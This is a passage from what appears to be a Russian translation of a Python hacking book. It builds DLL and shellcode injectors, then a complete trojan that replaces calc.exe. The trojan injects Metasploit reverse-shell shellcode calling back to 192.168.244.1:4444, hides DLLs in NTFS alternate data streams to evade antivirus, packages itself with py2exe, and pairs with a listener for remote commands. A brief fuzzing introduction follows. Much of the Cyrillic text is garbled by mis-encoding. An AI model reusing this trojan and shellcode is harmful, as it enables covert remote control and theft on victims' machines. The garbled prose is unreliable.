h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll")
h_loadlib = kernel32.GetProcAddress(h_kernel32,"LoadLibraryA")

(#4): # Now we try to create the remote thread, with the entry
point set
# to LoadLibraryA and a pointer to the DLL path as its single
parameter
thread_id = c_ulong(0)

if not kernel32.CreateRemoteThread(h_process,
None,
0,
h_loadlib,
arg_address,
0,
byref(thread_id)):

print "[*] Failed to inject the DLL. Exiting."
sys.exit(0)

print "[*] Remote thread with ID 0x%08x created." %
thread_id.value

На перhf шаге (#1) нужно u^_eblv достаточное количестh памяти для
сохранения пути (path) g_^jy_fhc DLL, после чего записать этот путь в
только что u^_e_ggmx память (#2). Затем нам нужно найти адрес
размещения функции LoadLibraryA (#3), чтобы передать его в uah\ функции
CreateRemoteThread() (#4). Как только созданный поток начнет uihegylvky
наша g_^jy_fZy DLL-библиотека должна загрузиться в атаку
емый процесс,
после чего u уb^bl_ kieuающее диалогоh_ окно , которое указыZ_l на
то , что g_^j_gb_ прошло успешно . Используйте скрипт , как показано ниже :

./dll_injector

Теперь у нас есть хороший пример того, как можно осущестblv g_^j_gb_
DLL. И хотя g_^j_ggZy DLL не несет полезной нагрузки, нам Z`gh
понимать саму технику g_^j_gby . Теперь даZcl_ перейдем к g_^j_gbx
кода !

7.1.2 Code Injection

ДаZcl_ перейдем к чему -то более коZjghfm . Внедрение кода позhey_l нам
klZлять сырой шелл- код в работающий процесс с его немедленным
uiheg_gb_f в памяти и при этом не остаeyy следов на диске . This is also
what allows attackers to migrate their shell conn ection from one process to
another, post-exploitation.

Мы havf_f простой кусок шелл- кода, который просто за_jrZ_l процесс с
определенным PID. Это позволит Zf перейти в удаленн
ый процесс и убить
процесс из которого u перhgZqZevgh uihegyebkv , что поможет Zf
замести следы .

Это будет ключевой особенностью Трояна , которого мы создадим в конце .
Также , чтобы удовлетhjblv Zrb потребности, мы покажем Zf , как можно
безопасно заменить куски шелл- кода, так чтобы u могли сделать его
немного более модульным .

Для получения шелл -кода убиZxs_]h процессы мы посетим дом

ашнюю
страницу проекта Metasploit и hkihevam_fky их удобным генератором шелл -
кодов . Если u не пользоZebkv им раньше – обратитесь к адресу
http://metasploit.com/shellcode/
и по играйтесь с ним . В нашем случае я
использоZe генератор для создания шелл-кода «Windows Execute
Command», который показан в Листинге 7-1. Там же показаны и
соот_lklующие настройки :

Листинг 7-1: Шелл- код убийца процессов , сгенерироZgguc с помощью
online- генератора проекта Metasploit.

/* win32_exec - EXITFUNC=thread CMD=taskkill /PID AAAAAAAA
Size=152
Encoder=None http://metasploit.com */

unsigned char scode[] =
"\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\
xef\x8b"
"\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\
xc0\x99"
"\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\
x24\x04"
"\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\
x01\xeb"
"\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\
x40\x30"
"\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\
xeb\x09"
"\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\
x89\xf8"
"\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\
x57\xff"
"\xe7\x74\x61\x73\x6b\x6b\x69\x6c\x6c\x20\x2f\x50\x49\x44\
x20\x41"
"\x41\x41\x41\x41\x41\x41\x41\x00";


Теперь , когда у нас есть шелл -код , пришло j_fy _jgmlvky к
программироZgbx и продемонстрироZlv работу g_^jy_fh]h кода .

Откройте ноuc файл Python, назоbl_ его code_injector.py и едите
следующий код:

code_injector.py

import sys
from ctypes import *

# We set the EXECUTE access mask so that our shellcode will
# execute in the memory block we have allocated
PAGE_EXECUTE_READWRITE = 0x00000040
PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF )
VIRTUAL_MEM = ( 0x1000 | 0x2000 )

kernel32 = windll.kernel32
pid = int(sys.argv[1])
pid_to_kill = sys.argv[2]

if not sys.argv[1] or not sys.argv[2]:
print "Code Injector: ./code_injector.py
"
sys.exit(0)

#/* win32_exec - EXITFUNC=thread CMD=cmd.exe /c taskkill /PID
AAAA
#Size=159 Encoder=None http://metasploit.com */

shellcode = \
"\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\
xef\x8b" \
"\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\
xc0\x99" \
"\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\
x24\x04" \
"\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\
x01\xeb" \
"\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\
x40\x30" \
"\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\
xeb\x09" \
"\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\
x89\xf8" \
"\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\
x57\xff" \
"\xe7\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x74\x61\
x73\x6b" \
"\x6b\x69\x6c\x6c\x20\x2f\x50\x49\x44\x20\x41\x41\x41\x41\
x00"

(#1): padding = 4 - (len( pid_to_kill ))
replace_value = pid_to_kill + ( "\x00" * padding )
replace_string= "\x41" * 4

shellcode = shellcode.replace( replace_string, replace_value )
code_size = len(shellcode)

# Get a handle to the process we are injecting into.
h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False,
int(pid) )

if not h_process:
print "[*] Couldn't acquire a handle to PID: %s" % pid
sys.exit(0)

# Allocate some space for the shellcode
arg_address = kernel32.VirtualAllocEx(h_process, 0, code_size,
VIRTUAL_MEM, PAGE_EXECUTE_READWRITE)

# Write out the shellcode
written = c_int(0)
kernel32.WriteProcessMemory(h_process, arg_address, shellcode,
code_size, byref(written))

# Now we create the remote thread and point its entry routine
# to be head of our shellcode
thread_id = c_ulong(0)
(#2): if not
kernel32.CreateRemoteThread(h_process,None,0,arg_address,None,
0,byref(thread_id)):

print "[*] Failed to inject process-killing shellcode.
Exiting."
sys.exit(0)

print "[*] Remote thread created with a thread ID of: 0x%08x" %
thread_id.value
print "[*] Process %s should not be running anymore!" %
pid_to_kill

Часть кода Zf уже знакома , но тут есть несколько интересных приемов .
Перh_ , что нужно сделать, это заменить строку маркера
(\x41\x41\x41\x41\x00) в шелл- коде (#1) на PID процесса, который нужно
за_jrblv . Другое заметное различие состоит в том , каким образом мы
со_jrZ_f uah\ функции CreateRemoteThread() (#2). Теперь ее параметр
lpStartAddress указыZ_l на начало шелл -кода . Также мы устаноbeb
lpParam

eter в NULL, потому что нам не нужно ничего передаZlv в функцию ,
f_klh этого мы просто хотим , чтобы поток начал uihegylv шелл- код.

Перед тем как uihegylv скрипт, запустите несколько процессов cmd.exe ,
затем получите соот_lklующие им PID’ ы и уже только после этого
uihegycl_ скрипт как показано ниже :

./code_injector.py

Выполнив скрипт , с соот_lklующими аргументами командной строки , u
уb^bl_ успешно созданный поток (скрипт _jg_l ID потока ). Вы также
должны заметить , что u[jZgguc Zfb процесс cmd.exe был убит .

Теперь u знаете, как загрузить и uihegblv шелл -код в другом процессе .
Это удобно не только при устаноd_ функций обратного uahа с помощью
шелл -код
а , но также и при скрытии Zrbo следов , поскольку у Zk не будет

никакого кода на диске . Теперь мы используем часть umq_gghc информации
и создадим бэкдор, который даст Zf удаленный доступ к атакуемой машине
в любой момент j_f_gb , когда он будет uihegylvky на ней . ДаZcl_
перейдем на сторону зла !


7.2 На стороне зла

Используем приобретенные нами наudb для злых умыслов. Сейчас мы
создадим , маленький бэкдор, который может быть использоZg для
получения контроля над системой в любое j_fy сh_]h uiheg_gby на ней .
Когда наш экзешн

ик начнет сh_ uiheg_gb_ , мы запустим оригинальную
программу , которую пользоZl_ev хотел запустить (например , мы назо_f
наш бинарник calc.exe , а оригинальный calc.exe и перенесем его в из_klgh_
нам место). Когда будет загружаться lhjhc пр
оцесс (оригинальный
calc.exe ), мы g_^jbf в него код, который сy`_l нас с удаленной машиной .
После того, как uihegblky шелл- код и у нас будет шелл ( сyav с удаленной
машиной ), мы g_^jbf lhjhc кусок кода в процесс , из которого
проh^beZkv атака , что убить его .

Секунду ! Не могли бы мы просто дать нашему calc.exe за_j
шиться? Если
коротко , то да . Но за_jr_gb_ процесса является ключевой техникой
поддержиZ_fhc бэкдором . Например , u могли бы объединить Zrb знания
с кодом , который u изучили в более ранних глаZo , и попытаться найти
работающие анти -bjmku или фаерheu , чтобы просто убить их . Важно
также уметь перемещаться из одного процесса в другой и при этом имет
ь
hafh`ghklv убить процесс из которого u только что переместились , если
он , конечно же , Zf больше не нужен .

В этой части также будет показано , как скомпилироZlv Питоноkdbc скрипт
в EXE, и как спрятать DLL в осноghf исполнимом файле . ДаZcl_
посмотрим , как применив небольшую хитрость можно создать DLL, которая
проедет зайцем в

месте с нашим EXE-файлом .

7.2.1 Скрытие файла

Для того, чтобы безопасно распространять g_^jy_fmx DLL с нашим
бэкдором и не приe_dZlv лишнего gbfZgby , нужен скрытый способ
хранения файла . Мы могли бы использоZlv wrapper (прим . пер . имеется
иду joiner
), который берет дZ исполняемых файла (dexqZy DLL) и
соединяет их f_kl_ в один файл , но так как эта книга о хакерском
использоZgbb Python, то мы должны прояblv немного больше
креатиghklb.

Для скрытия файлов gmljb исполнимых файлов , злоупотребим

сущестmxs_c фичей в файлоhc системе NTFS, назZgghc «альтернатиgu_
потоки данных » (Alternate Data Streams, ADS). Альтернатиgu_ потоки
данных i_jые пояbebkv в Windows NT 3.1 и были представлены как
средстh для aZbfh^_cklия с иерархической файлоhc системой Apple
(Hierarchical File System, HFS). ADS позhey_l нам иметь на диске один файл
и хранить DLL-библиотеку в потоке , который присоединен к осноghfm
исполнимому файлу . Поток в дейстbl_evghklb яey_lky ничем иным как
скрытым файлом, который присоединен к фай

лу , который u можете b^_lv
на диске .

При использоZgbb альтернатиgh]h потока данных , мы прячем DLL от
прямого a]ey^Z пользоZl_ey . Без специальных инструментов , пользоZl_ev
компьютера не сможет уb^_lv содержание ADS, что идеально подходит для
нас . Кроме того, ряд продуктов безопасности не сканируют альтернатиgu_
потоки должным образом , так что у нас ест
ь хорошие шансы обойти их рады
и избежать обнаружения .

Чтобы использоZlv альтернатиguc поток , нам нужно будет добаblv
дh_lhqb_ и имя файла скрыZ_fh]h объекта , к сущестmxs_fm файлу , как
показано ниже :

reverser.exe:vncdll.dll

В этом случае мы получаем vncdll.dll, которая хранится в альтернатиghf
потоке данных, который прикреплен к файлу reverser.exe . ДаZcl_ напишем
небольшой скрипт , который будет просто читать и писать из файла
альтернатиgu_ потоки . Откройте ноuc файл Python, назоbl_ его
file_hider.py и едите следующий код .

file_hider.py

import sys

# Read in the DLL
fd = open( sys.argv[1], "rb" )
dll_contents = fd.read()
fd.close()

print "[*] Filesize: %d" % len( dll_contents )

# Now write it out to the ADS
fd = open( "%s:%s" % ( sys.argv[2], sys.argv[1] ), "wb" )
fd.write( dll_contents )
fd.close()

Ничего особенного – перuf аргумент командной строки яey_lky DLL,
которую нам нужно прочитать , а lhjuf аргументом яey_lky файл , в
альтернатиguc поток которого и будет записана DLL. Мы можем
использоZlv этот простой скрипт , чтобы хранить любые b^u файлов
gmljb исполняемого файла, так же мы можем g_^jylv DLL-библиотеки
прямо из ADS. Хотя мы не будем использоZlv g_^j_gb_ DLL в нашем
бэкдоре , оно k_ ра

gh будет поддержиZlvky им , так что читайте дальше .

7.2.2 Кодим Backdoor

ДаZcl_ начнем с создания нашего « uihegyxs_]h перенапраe_gb_ кода »
(execution redirection code), который просто запускает u[jZggh_ нами
приложение . Причина назZgby кода «uihegyxsbc перенапраe_gb_ »
(execution redirection) состоит в том , что мы назо_f наш бэкдор calc.exe, а
оригинальный calc.exe переместим в другое место . Когда пользоZl_e
ь
попытается запустить калькулятор , он ненароком запустит наш бэкдор,
который в сhx очередь запустит настоящий калькулятор и таким образом не
uahет у пользоZl_ey подозрений. Обратите gbfZgb_ , что мы подключаем
файл my_debugger_defines.py из Глаu 3
, который содержит k_
необходимые константы и структуры для создания процесса . Откройте
ноuc файл Python, назоbl_ его backdoor.py и едите следующий код :

backdoor.py

# This library is from Chapter 3 and contains all
# the necessary defines for process creation

# Это библиотека из Глаu 3. Она содержит k_
# необходимые определения для создания процесса

import sys
from ctypes import *
from my_debugger_defines import *

kernel32 = windll.kernel32
PAGE_EXECUTE_READWRITE = 0x00000040
PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF )
VIRTUAL_MEM = ( 0x1000 | 0x2000 )

# This is the original executable
path_to_exe = "C:\\calc.exe"

startupinfo = STARTUPINFO()
process_information = PROCESS_INFORMATION()
creation_flags = CREATE_NEW_CONSOLE
startupinfo.dwFlags = 0x1
startupinfo.wShowWindow = 0x0
startupinfo.cb = sizeof(startupinfo)

# First things first, fire up that second process
# and store its PID so that we can do our injection
kernel32.CreateProcessA(path_to_exe,
None,
None,
None,
None,
creation_flags,
None,
None,
byref(startupinfo),
byref(process_information))

pid = process_information.dwProcessId

Код не слишком сложный, в нем для Zk нет ничего ноh]h . Прежде чем
перейти к g_^j_gbx кода – рассмотрим , как мы можем скрыть этот самый
g_^jy_fuc код . ДаZcl_ добаbf его прямо в код бэкдора ; просто
присоединим код прямо после секции создания процесса . Наша функция
g_^j_gby сможет работать как с g_^jy_fuf кодом , так и с g_^jy_fh
й
DLL; просто устаноbl_ «parameter» в «1», а в переменную «data» поместите
путь к DLL. Здесь мы не следуем чистоте , а дейстm_f быстро и грязно .
ДаZcl_ добавим функцию g_^j_gby в наш файл backdoor.py .

backdoor.py

...

def inject( pid, data, parameter = 0 ):
# Get a handle to the process we are injecting into.
h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False,
int(pid) )

if not h_process:
print "[*] Couldn't acquire a handle to PID: %s" % pid
sys.exit(0)

arg_address = kernel32.VirtualAllocEx(h_process, 0,
len(data), VIRTUAL_MEM, PAGE_EXECUTE_READWRITE)
written = c_int(0)
kernel32.WriteProcessMemory(h_process, arg_address, data,
len(data), byref(written))

thread_id = c_ulong(0)

if not parameter:
start_address = arg_address
else:
h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll")
start_address =
kernel32.GetProcAddress(h_kernel32,"LoadLibraryA")

parameter = arg_address

if not kernel32.CreateRemoteThread(h_process,None,
0,start_address,parameter,0,byref(thread_id)):
print "[*] Failed to inject the DLL. Exiting."
sys.exit(0)

return True

Теперь нашим бэкдором поддержиZ_lky функция g_^j_gby , которая может
обрабатыZlv и « g_^j_gb_ кода », и « g_^j_gb_ DLL». Теперь пришло j_fy
для klZки шелл -кода , который состоит из дmo частей . Одна часть
предназначена для предостаe_gby «шелла » (оболочка для сyab с
атакующим ), а другая для за_jr_gby процессов . ДаZcl_ продолжим
добаeylv код в наш бэкдор.

backdoor.py

...

# Now we have to climb out of the process we are in
# and code inject our new process to kill ourselves
#/* win32_reverse - EXITFUNC=thread LHOST=192.168.244.1
LPORT=4444 Size=287 Encoder=None http://metasploit.com */

connect_back_shellcode =
"\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\
x8b\x45" \
"\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\
xeb\x49" \
"\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\
xca\x0d" \
"\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\
xeb\x66" \
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\
x1c\x61" \
"\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\
x8b\x40" \
"\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\
x33\x32" \
"\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\
xff\xd6" \
"\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\
xd9\x09" \
"\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43\x53\x43\x53\xff\
xd0\x68" \
"\xc0\xa8\xf4\x01\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\
xec\xf9" \
"\xaa\x60\x57\xff\xd6\x6a\x10\x51\x55\xff\xd0\x66\x6a\x64\
x66\x68" \
"\x63\x6d\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\
xc0\xf3" \
"\xaa\x95\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\
xab\xab" \
"\x68\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51\
x51\x51" \
"\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53\
xff\xd6" \
"\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6\x79\xff\x75\x04\
xff\xd6" \
"\xff\x77\xfc\xff\xd0\x68\xef\xce\xe0\x60\x53\xff\xd6\xff\
xd0"

inject( pid, connect_back_shellcode )

#/* win32_exec - EXITFUNC=thread CMD=cmd.exe /c taskkill /PID
AAAA
#Size=159 Encoder=None http://metasploit.com */

our_pid = str( kernel32.GetCurrentProcessId() )

process_killer_shellcode = \
"\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\
xef\x8b" \
"\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\
xc0\x99" \
"\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\
x24\x04" \
"\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\
x01\xeb" \
"\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\
x40\x30" \
"\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\
xeb\x09" \
"\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\
x89\xf8" \
"\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\
x57\xff" \
"\xe7\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x74\x61\
x73\x6b" \
"\x6b\x69\x6c\x6c\x20\x2f\x50\x49\x44\x20\x41\x41\x41\x41\
x00"


padding = 4 - ( len( our_pid ) )
replace_value = our_pid + ( "\x00" * padding )
replace_string= "\x41" * 4
process_killer_shellcode =
process_killer_shellcode.replace(replace_string, replace_value)

# Pop the process killing shellcode in
inject( our_pid, process_killer_shellcode )

Хорошо ! Передаем идентификатор процесса (PID) в бэкдор и g_^jy_f шелл -
код в процесс , который мы породили (calc.exe) . Затем убиZ_f бэкдор.
Теперь у нас есть довольно неплохой бэкдор, который использует некоторые
хитрости , но что самое глаgh_ , мы получаем доступ к атакуемой машине ,
каждый раз , когда кто -то запускает Калькулятор . Этот подход u можете
использоZlv в боеuo услоbyo , если у Zk ест

ь скомпрометироZggZy
система, а пользоZl_ev этой системы имеет доступ к защищенному паролем
или интересующему Zk приложению . В этом случае u можете подменить
файлы и debgbаться в результат работы такого приложения
непосредст_ggh в момент его запуска . Каждый раз , когда пользоZl_ev
запускает подмененное приложение и в ходит в си
стему, u получаете шелл
( оболочку ), с помощью которой u можете начать мониторинг нажатий
клаbr , перехZluать сетеu_ пакеты и т.п . Нам осталось решить одну
маленькую _sv : Как мы собираемся гарантироZlv , что у пользоZl_ey ,
против которого мы собираемся про_klb атаку , устаноe_g Python, который
нужен для запуска нашего скрипта? Читайте дальше и u узнаете о такой
замечательной Питоноkdhc библиотеке , ка
к py2exe , которая позhey_l
преjZlblv Zr скрипт на Питоне в настоящий исполнимый файл Windows,
т .е . exe- файл.


7.2.3 ИспользоZgb_ py2exe

Библиотека py2exe [2], позhey_l скомпилироZlv скрипт на Python в
полноценный исполнимый файл Windows. Перед ее использоZgb_f нужно
состаblv специальный устаноhqguc скрипт , в котором определить , что мы
хотим скомпилироZlv . Для компиляции бэкдора мы создадим доhevgh

простой скрипт. Откройте ноuc файл, назовите его setup.py и едите
следующий код.

setup.py

# Backdoor builder
from distutils.core import setup
import py2exe

setup(console=['backdoor.py'],
options = {'py2exe':{'bundle_files':1}},
zipfile = None,
)

Да , он настолько прост. ДаZcl_ рассмотрим параметры, которые были
переданы функции устаноdb . Перuc параметр «console» – это имя
осноgh]h сценария, подлежащего компиляции . Параметры «options» и
«zipfile» устанаebаются для объединения Python DLL и всех других
заbkbfuo модулей в осноghc исполняемый файл . Это делает наш бэкдор
мобильным , в том смысле , что позhey_l перенести его на систему , где нет
Питона , и он будет работать . Перед компиляцией про_jvl_ , что файлы
my_debugger_defines.py , backdoor.py и setup.py находятся в одной и той же
директории. Затем перейдите в командную строку и uihegbl_
устаноhqguc скрипт , как по

казано ниже:

python setup.py py2exe

После чего u увидите uод от процесса компиляции , после окончания
которого у Zk будет иметься д_ директории dist и build . В нутрии папки dist
Zk будет ожидать backdoor.exe . Переименуйте его в calc.exe и скопируйте в
целеmx систему для тестов. Затем скопируйте оригинальный calc.exe из
«C:\WINDOWS\system32\» и положите его в корень диска «C:\». После че
го
переместите бэкдор calc.exe в «C:\WINDOWS\system32\». Теперь k_ что нам
нужно , чтобы работать с шеллом , на удаленной системе , это написать
простой скрипт для получения и отпраdb ему команд. Откройте ноuc файл
Python, назоbl_ его backdoor_shell.py и едите следующий код.

backdoor_shell.py

import socket
import sys

host = "192.168.244.1"
port = 4444

server = socket.socket( socket.AF_INET, socket.SOCK_STREAM )

server.bind( ( host, port ) )
server.listen( 5 )

print "[*] Server bound to %s:%d" % ( host , port )

connected = False
while 1:

#accept connections from outside
if not connected:
(client, address) = server.accept()
connected = True

print "[*] Accepted Shell Connection"
buffer = ""

while 1:
try:
recv_buffer = client.recv(4096)

print "[*] Received: %s" % recv_buffer
if not len(recv_buffer):
break
else:
buffer += recv_buffer
except:
break

# We've received everything, now it's time to send some input
command = raw_input("Enter Command> ")
client.sendall( command + "\r\n\r\n" )
print "[*] Sent => %s" % command

Это очень простой сокет-сер_j , который просто ожидает соединения и
осущестey_l чтение /запись в сокет . Запустите сер_j , с набором
переменных host и port для Zr_c среды. Затем запустите calc.exe на
удаленной системе (на локальном компьютере будет работать так же ). После
чего u должны уb^_lv окно Калькулятора , а Zr сокет- сервер должен
зарегистрироZlv соединение и получить некоторые данные . Для того, чтобы
прерZlv цикл получения данных от удаленной системы нажмите CTRL-C,
это позhebl Zf в

вести команду . Не стесняйтесь прояeylv креатиghklv ,
здесь u можете попробоZlv такие команды как dir, cd или type, k_ из
которых яeyxlky родными командами шелл-оболочки Windows. После
ода каждой команды , u будете получать результат ее работы . Теперь у Zk
есть эффектиgh_ и немного не заметное средстh aZbfh^_cklия с
бэкдором . Испо

льзуйте Zr_ hh[jZ`_gbb для расширения
функциональности ; думайте хитро и обходите антиbjmku . Плюсами в

разработке подобных _s_c на Python яeyxlky скорость , легкость и
многоразоh_ использоZgb_ .

Как было b^gh в этой гла_ , g_^j_gb_ кода и DLL- библиотек это д_ очень
полезных и мощных техники. Теперь u hhjm`_gu ноuf наudhf ,
который пригодится h j_fy пентеста или ре_jkbg]Z . В следующей гла_
мы сфокусируемся на использоZgbb фаззеров
осноZgguo на Питоне . Будут
рассмотрены как собст_ggu_, так некоторые open source инструменты .


7.3 Ссылки

[1] MSDN CreateRemoteThread Function (http://msdn.microsoft.com/en-
us/library/ms682437.aspx).

[2] For the py2exe download, go to
http://sourceforge.net/proj ect/showfiles.php?group_id=15583

ГЛАВА 8
Fuzzing


Fuzzing – был горячей темой в течении некоторого j_f_gb , глаguf
образом , потому что это один из самых эффектиguo методов поиска ошибок
в программном обеспечении . Fuzzing - яey_lky ничем иным , как создание
некорректных или полу -корректных данных для отпраdb приложению , в
попытке uaать в нем неиспраghklv . В этой гла_ , мы обсудим различные
типы фаззеров , а так же классы ошибок , предостаey
ющие собой
неиспраghklb , которые мы ищем; затем мы создадим файлоuc фаззер для
собст_ggh]h использоZgby . В последующих главах , мы рассмотрим
фрейhjd Sulley, а так же фазер ioctlizer, который был разработан для
тестироZgby драй_jh\ Windows.

Приступая к теме фаззинга нужно знать, что сущестm_l дZ типа фаззеров :
генерирующие (generation) и мутирующие (mutation). Генерирующие фаззеры
создают данные, посылаемые тестируемой программе ; мутирующие фа
зеры
берут части уже существующих данных и изменяют их . Примером
генерирующего фаззера могло бы быть что -то , что создает набор
непраbevguo HTTP-запросов и отпраey_l их тестируемому _[ -сер_jm .
Мутирующим фаззером могло бы быть что -то , что перехZluает и изменяет
пакеты HTTP- запросов перед их отпраdhc _[ -сер_jm.

Для того, чтобы понять , как создаZl

ь эффектиgu_ фаззеры , нужно gZqZe_
рассмотреть общие классы ошибок , которые они способны uyлять [1].
Ниже предстаe_gZ подборка наиболее общих ошибок , существующих в
приложениях сегодня . Далее мы покажем Zf , как их можно спроhpbjhать
с помощью Zr_]h собст_ggh фаззера .


8.1 Bug Classes

При анализе программного обеспечения на ошибки , хакер или ре_jk -
инженер ищет определенные баги , которые по

зheyl ему aylv под сhc
контроль uiheg_gb_f кода в приложении . Фаззеры могут предостаblv
аlhfZlbabjhанный способ поиска багов , которые помогают хакеру :
получать контроль над системой , поurZlv приbe_]bb в системе или
hjhать информацию , к которой у тестируемого приложения есть доступ .
Мы сосредоточимся на багах , которые обычно обнаружиZxlky в
программном обеспечении, которое работает в кач

естве незаbkbfh]h
процесса . Обнаружение ошибок в таких программах , с наибольшей
_jhylghklvx, может при_klb к компрометации k_c системы .

8.1.1 Buffer Overflows

Переполнение буфера яey_lky наиболее распространенным типом ошибок в
программном обеспечении. Все b^u безобидных функций упраe_gby
памятью, манипулироZgby строками и даже gmlj_ggyy функциональность ,
яeyxsZyky частью языка программироZgby , как раз и есть тем , что служит
пояe_gbx ошибок переполнения буфера в программном обеспечении .

Короче гоhjy , переполнение буфера происходит тогда , когда данные
сохраняются в области пам
яти, которая слишком мала , чтобы хранить их .
Для объяснения этого понятия будем думать о буфере , как о _^j_ , которое
может содержать 10 литров h^u. Ничего не случится , если мы нальем в
_^jh д_ чашки h^u, или заполним его наполоbgm , или даже до краев . Но
k_ мы знаем , что случится , если попытаться налить 15 литров h^u – h^Z
uev_l

ся на пол … По сути тоже самое происходит и в программном
обеспечении ; когда имеется слишком много h^u ( данных ), она uebается
из _^jZ (буфер ) и разлиZ_lky по полу (память ). Когда атакующий может
упраeylv способом перезаписи памяти, он находит на пути к получению
hafh`ghklb полного uiheg_gby кода и , в конечном счете , компр
ометации
системы в той или иной форме . Есть дZ осноguo типа переполнения
буфера : переполнение стека и переполнение кучи . Эти типы _^ml себя
со_jr_ggh по разному , но приh^yl к одному и тому же результату –
атакующий контролирует uiheg_gb_ кода .

Переполнение стека яey_lky характерным переполнением буфера , которое
ihke_^klии перезаписыZ_l данные в ст
еке , что может быть использоZgh
в качестве средства контроля над uiheg_gb_f программы . Выполнение
кода , может быть осущестe_gh из -за переполнения стека атакующим , что
позhebl: перезаписать адрес haрата из функции , заменить указатель на
функции , заменить значения переменных или изменить цепочку uiheg_gby
обработчиков исключения в нутрии приложения .

Переполнение кучи происходит в пределах сегмента кучи , процесса
uiheg_gby , где приложение динамически u^_ey_l память h j_fy
uiheg_gby . Куча состоит из блоков , которые сyaZgu между собой
мет

адынными . Когда происходит переполнение кучи , атакующий имеет
hafh`ghklv перезаписать метаданные в блоке , расположенном рядом с той
областью , которая переполнилась . Когда это происходит, он может
упраeylv записью в произhevgu_ места памяти , которые могут dexqZlv :
переменные , указатели на функции , марк

еры безопасности (security tokens)
или любое количестh других Z`guo структур данных, которые могут
храниться в куче h j_fy переполнения . Отследить переполнение кучи на
начальной стадии может быть доhevgh сложной задачей, поскольку блоки ,
которые были поj_`^_gu , могут использоZlvky через некоторый
промежуток j_f_gb . Эта задержка , до срабатыZgby нарушения прав

доступа, может создать некоторые проблемы , когда u будете пытаться
отследить сбой , h j_fy uiheg_gby фаззинга .



MICROSOFT GLOBAL FLAGS

Microsoft had the application devel oper (and exploit writer) in mind when
it created the Windows operating system. Global flags (Gflags)
предстаey_l собой набор диагностики и параметров отладки ,
которые позheyxl отслежиZlv , логироZlv (log) и отлажиZlv
программное обеспечение с очень ukhdhx степенью детализации .
Эти параметры могут быть использоZgu в Microsoft Windows 2000,
XP Professional и Server 2003.

Функцией , в которой мы больше k_]h заинтересованы , яey_lky
_jbnbdZlhj кучи страниц (the page heap verifier). Когда она
dexqZ_lky для процесса , _jbnbdZlhj отслежиZ_l динамические
операции с памятью , dexqZy k
е u^_e_gby и осh[h`^_gby . Но в
дейстbl_evghklb хорошим аспектом является то , что она uauает
останоdm отладчика в момент поj_`^_gby кучи , что позhey_l
останоblvky на инструкции , которая uaала поj_`^_gb_ . Это
багхантеру отслежиZlv ошибки связанные с кучей .

Для dexq_gby _jbnbdZlhjZ кучи нужно отредактироZlv Gflags.
